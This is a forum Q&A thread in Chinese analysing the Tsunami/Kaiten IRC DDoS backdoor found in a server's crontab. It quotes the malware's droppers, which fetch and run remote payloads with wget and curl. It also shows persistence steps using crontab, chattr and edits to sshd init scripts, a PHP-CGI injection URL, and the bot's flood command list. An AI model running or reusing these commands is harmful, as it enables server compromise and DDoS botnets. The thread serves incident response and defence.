SecureShellz bot 是病毒吗?它是如何工作的?

信息安全 linux 病毒 C
2021-08-30 16:17:50

我正在使用一个开发服务器,我在 crontab 中发现了这个:

[...]
* * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1
@weekly wget http://stablehost.us/bots/regular.bot -O /dev/shm/tmp/.rnd;chmod +x /dev/shm/tmp/.rnd;/dev/shm/tmp/.rnd
[...]

http://stablehost.us/bots/regular.bot 内容是:

#!/bin/sh

 if [ $(whoami) = "root" ]; then

    echo y|yum install perl-libwww-perl perl-IO-Socket-SSL openssl-devel zlib1g-dev gcc make
    echo y|apt-get install libwww-perl apt-get install libio-socket-ssl-perl openssl-devel zlib1g-dev gcc make

    pkg_add -r wget;pkg_add -r perl;pkg_add -r gcc

    wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o a a.c;mv a /lib/xpath.so;chmod +x /lib/xpath.so;/lib/xpath.so;rm -rf a.c
    wget -q http://linksys.secureshellz.net/bots/b -O /lib/xpath.so.1;chmod +x /lib/xpath.so.1;/lib/xpath.so.1
    wget -q http://linksys.secureshellz.net/bots/a -O /lib/xpath.so.2;chmod +x /lib/xpath.so.2;/lib/xpath.so.2  
    exit 1
 fi


 wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o .php a.c;rm -rf a.c;chmod +x .php; ./.php
 wget -q http://linksys.secureshellz.net/bots/a -O .phpa;chmod +x .phpa; ./.phpa
 wget -q http://linksys.secureshellz.net/bots/b -O .php_ ;chmod +x .php_;./.php_

由于各种原因,我无法联系系统管理员,所以我无法向他询问有关这方面的信息。

在我看来,这个脚本下载了一些远程 C 源代码和二进制文件,编译并执行它们。

我是一名网络开发人员,所以我不是 C 语言专家,但看着下载的文件,在我看来,它似乎是一个注入服务器 cron 的机器人。

你能给我更多关于这段代码做什么的信息吗?关于它的工作,它的目的?

更新:所以我们知道,遗憾的是,它是一种恶意软件......我想知道:它是如何工作的?你能告诉我这件事的细节吗?

3个回答

向您的系统管理员发送邮件(您必须联系您上面的人)或直接发送给 CIO,如果您必须说服他,请解释您发现的内容并附上名为“ac”的文件的这一部分,这就足够了:

* There are a number of commands that can be sent to the client:              *
*       TSUNAMI <target> <secs>       = A PUSH+ACK flooder                    *
*       PAN <target> <port> <secs>    = A SYN flooder                         *
*       UDP <target> <port> <secs>    = An UDP flooder                        *
*       UNKNOWN <target> <secs>       = Another non-spoof udp flooder         *
*       NICK <nick>                   = Changes the nick of the client        *
*       SERVER <server>               = Changes servers                       *
*       GETSPOOFS                     = Gets the current spoofing             *
*       SPOOFS <subnet>               = Changes spoofing to a subnet          *
*       DISABLE                       = Disables all packeting from this bot  *
*       ENABLE                        = Enables all packeting from this bot   *
*       KILL                          = Kills the knight                      *
*       GET <http address> <save as>  = Downloads a file off the web          *
*       VERSION                       = Requests version of knight            *
*       KILLALL                       = Kills all current packeting           *
*       HELP                          = Displays this                         *
*       IRC <command>                 = Sends this command to the server      *
*       SH <command>                  = Executes a command                    *
* Remember, all these commands must be prefixed by a ! and the nickname that  *
* you want the command to be sent to (can include wildcards). There are no    *
* spaces in between the ! and the nickname, and there are no spaces before    *
* the !                                                                       *
*                                                                             *
*                               - contem on efnet                             *

以下是对这个特定后门的一些参考:
- http://www.f-secure.com/v-descs/backdoor_osx_tsunami_a.shtml
- http://blog.eset.com/2011/10/25/linux-tsunami -hits-os-x

抱歉,我找不到此恶意软件的任何逆向工程。

我被报告的一个服务器也被这个感染了。它似乎是通过cgi-bin/php利用漏洞上传的 php 脚本注入它的 crontab 作业。

/cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input

我不太确定它是如何工作的,但据我所知,它正在从客户端的输入运行一个 php 脚本,但我无法通过 复制它netcat,也许我在那里做错了什么。

一旦 php 脚本创建了 cronjob,那么在周日(或每周启动时)它将连接到 C&C 以获取脚本。你的服务器请求了这个脚本,幸运的是我被报告的服务器没有及时被感染,C&C但是,从日志中返回的这样的 IP 似乎正在运行许多服务。

有趣的如下。(我已经在 projecthoneypot.org 上报告了 IP)

host          port  proto  name         state     info
----          ----  -----  ----         -----     ----
123.30.84.61  22    tcp    ssh          open      OpenSSH 4.3 protocol 2.0
123.30.84.61  111   tcp    rpcbind      open      2 RPC #100000
123.30.84.61  1098  tcp    rmiregistry  open      Java RMI
123.30.84.61  1099  tcp    ovm-manager  open      Oracle VM Manager
123.30.84.61  3306  tcp    mysql        open      MySQL unauthorized
123.30.84.61  4445  tcp    ovm-manager  open      Oracle VM Manager
123.30.84.61  8083  tcp    http         open      Bluecat Networks Proteus IPAM or Enterasys Dragon IDS http config

我们可以看到 - 有一个 IDS?带有 MySQL 的 Oracle VM 管理器(不是 Oracle)。端口 80 未打开,因此 C&C 处于“离线”状态。

从该projecthoneypot.org站点可以清楚地看出,该攻击者正试图从您的 IP 发送伟哥垃圾邮件。可能不是,但有机会考虑到这是他们从自己的 IP 所做的事情。但是,有了Oracle VM manager那里,我不确定这是直接攻击者还是攻击者从中浸出的 VM 主机。这可能意味着这些攻击与viagra spam.

感谢您在问题中提交的脚本,这对于检查我检查的服务器是否安全命中非常有用,因为当时主机没有回复port 80在这种情况下很幸运。

我建议使用完整的数据包捕获记录服务器上的所有流量,如果您的系统管理员没有存储空间(很快可能需要很多),则可以使用在线云服务来实现此目的。这将使您和系统管理员在假设攻击者确实进入您的服务器时看到会发生什么。同样作为建议,cgi-bin如果可能的话,密码保护或禁用,多年来我已经看到了太多针对其中标准脚本的漏洞利用。

你在服务器上运行什么?

当您搜索"123.30.84.61"or时,日志会告诉您什么"stablehost.us"

由于托管这些 C 文件的服务器已关闭,如果您碰巧有一份副本,能否请您上传某个我可以检索这些文件的地方?

注意:在写完所有这些之后,我注意到这是去年的新闻……哦,好吧,我相信其他人会觉得这很有帮助。

更新:至于接受的答案,我无权访问该代码,但毫无疑问,如果这种攻击是这样重新发起的,我不希望代码是相同的。

即使问题很老,攻击改变了,来源是一样的

我已经被这个的新版本击中(stablehost 是这里的链接关键字,在 OP 询问后仍然在这里),我管理的服务器之一(gentoo 强化,强大的 grsec 配置)已被破坏,很可能是 shellshock .

对于那些感兴趣的人,我可以找到源代码:

perl, this one is an IRC bot : 
http://205.237.100.171/manual/pb
also on pastebin : http://pastebin.com/NN42LJ0z

C , this one will create the init script:
http://205.237.100.171/manual/a.c
also on pastebin : http://pastebin.com/8PgTjhyb

init code : 
http://205.237.100.171/manual/init
also on http://pastebin.com/HyUUfn6S

它是一堆代码(bash、C、perl 和 python),我不会在这里复制粘贴所有代码,但基本代码是来自 init 的代码,由 C 代码构建:

gcc -o /tmp/init /tmp/a.c;
/tmp/init;
rm -rf /tmp/a.c /tmp/init;
echo "@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1" >/tmp/c;
crontab /tmp/c;
rm -rf /tmp/c;
chattr +isa /var/spool/cron/tabs/root;
chattr +isa /var/spool/cron/tabs;
echo "#!/bin/sh" > /etc/cron.weekly/00logrotate;
echo "wget http://stablehost.us/bots/regular.bot -O /tmp/sh" >>/etc/cron.weekly/00logrotate;
echo "curl -o /tmp/sh http://stablehost.us/bots/regular.bot" >> /etc/cron.weekly/00logrotate;
echo "sh /tmp/sh;rm -rf /tmp/sh" >>/etc/cron.weekly/00logrotate;
chmod +x /etc/cron.weekly/00logrotate;
chattr +isa /etc/cron.weekly/00logrotate;
#rm /usr/bin/chattr;
kill -9 `ps -aux|grep perl|awk {'print $2'}`;

和这个 init 的另一个(似乎更进化)版本:

echo "nameserver 4.2.2.2" >> /etc/resolve.conf;
sed -i 's=umask 022=umask 022;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh=g' /etc/rc.d/init.d/sshd;
sed -i 's=umask 022=umask 022;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh=g' /etc/init.d/ssh;
wget http://205.237.100.171/manual/b -O /tmp/init;
wget http://205.237.100.171/manual/arm -O /tmp/arm;
wget http://205.237.100.171/manual/mipsel1 -O /tmp/mips
chmod +x /tmp/arm /tmp/init /tmp/mips
curl -o /tmp/init http://205.237.100.171/manual/b;
wget http://205.237.100.171/manual/a.c -O /tmp/a.c;
curl -o /tmp/a.c http://205.237.100.171/manual/a.c;
gcc -o /tmp/init /tmp/a.c;
/tmp/init;
rm -rf /tmp/a.c /tmp/init;
echo "@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1" >/tmp/c;
crontab /tmp/c;
rm -rf /tmp/c;
chattr +isa /var/spool/cron/tabs/root;
chattr +isa /var/spool/cron/tabs;
echo "#!/bin/sh" > /etc/cron.weekly/00logrotate;
echo "wget http://stablehost.us/bots/regular.bot -O /tmp/sh" >>/etc/cron.weekly/00logrotate;
echo "curl -o /tmp/sh http://stablehost.us/bots/regular.bot" >> /etc/cron.weekly/00logrotate;
echo "sh /tmp/sh;rm -rf /tmp/sh" >>/etc/cron.weekly/00logrotate;
chmod +x /etc/cron.weekly/00logrotate;
chattr +isa /etc/cron.weekly/00logrotate;
#rm /usr/bin/chattr;
kill -9 `ps -aux|grep perl|awk {'print $2'}`;

对于最近一波 shellshock/tsunami/kai​​ten 攻击,另请参阅http://wearetheartillery.blogspot.com/2014/10/interesting-shellshock-payload-being.html以获得更多解释

编辑:刚刚从 cloudflare 找到了另一个很好的解释帖子:https ://blog.cloudflare.com/inside-shellshock/

另见:http ://www.ddosattacks.net/shellshock-being-used-to-build-a-ddos-botnet-to-launch-ddos-attacks/

我可以分析的服务器已用于针对 XXXX 的 udp 泛洪,我的防火墙阻止了大部分传出攻击,但大部分 udpflood 都可以出去

Oct 23 08:05:36 myname kernel: Shorewall:all2all:REJECT:IN= OUT=eth0
SRC=me DST=target LEN=9244 TOS=0x00 PREC=0x00 T
TL=64 ID=15736 PROTO=UDP SPT=41912 DPT=61587 LEN=9224

是传出攻击的一部分,我可以用我的shorewall传出配置阻止,只有数据中心online.net有更多关于可能发生的洪水类型的信息(我没有关于这些数据包的日志,online.net没有给我任何细节)通过我的防火墙,他们不想给我任何细节。